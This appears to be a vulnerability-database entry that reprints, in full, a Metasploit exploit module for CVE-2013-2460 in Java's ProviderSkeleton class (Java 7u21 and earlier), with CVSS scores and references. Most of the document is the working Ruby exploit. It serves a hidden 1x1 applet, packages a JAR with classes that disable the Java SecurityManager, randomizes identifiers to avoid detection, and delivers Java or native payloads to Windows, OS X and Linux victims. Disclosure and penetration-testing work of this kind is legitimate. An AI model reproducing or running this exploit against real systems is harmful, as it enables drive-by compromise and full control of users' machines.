Java Applet ProviderSkeleton Insecure Invoke Method

2013.06.27
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) EXPLOIT_STRING = "Exploit" def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method', 'Description' => %q{ This module abuses the insecure invoke() method of the ProviderSkeleton class that allows to call arbitrary static methods with user supplied arguments. The vulnerability affects Java version 7u21 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC 'Matthias Kaiser' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2460' ], [ 'OSVDB', '94346' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'], [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 18 2013' )) end def randomize_identifier_in_jar(jar, identifier) identifier_str = rand_text_alpha(identifier.length) jar.entries.each { |entry| entry.name.gsub!(identifier, identifier_str) entry.data = entry.data.gsub(identifier, identifier_str) } end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class") @provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class") @action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length) @exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("ExpProvider.class", @provider_class) jar.add_file("DisableSecurityManagerAction.class", @action_class) randomize_identifier_in_jar(jar, "metasploit") randomize_identifier_in_jar(jar, "payload") jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q| <html> <body> <applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet> </body> </html> | return html end end

References:

http://cxsecurity.com/issue/WLB-2013060082
http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html
http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a


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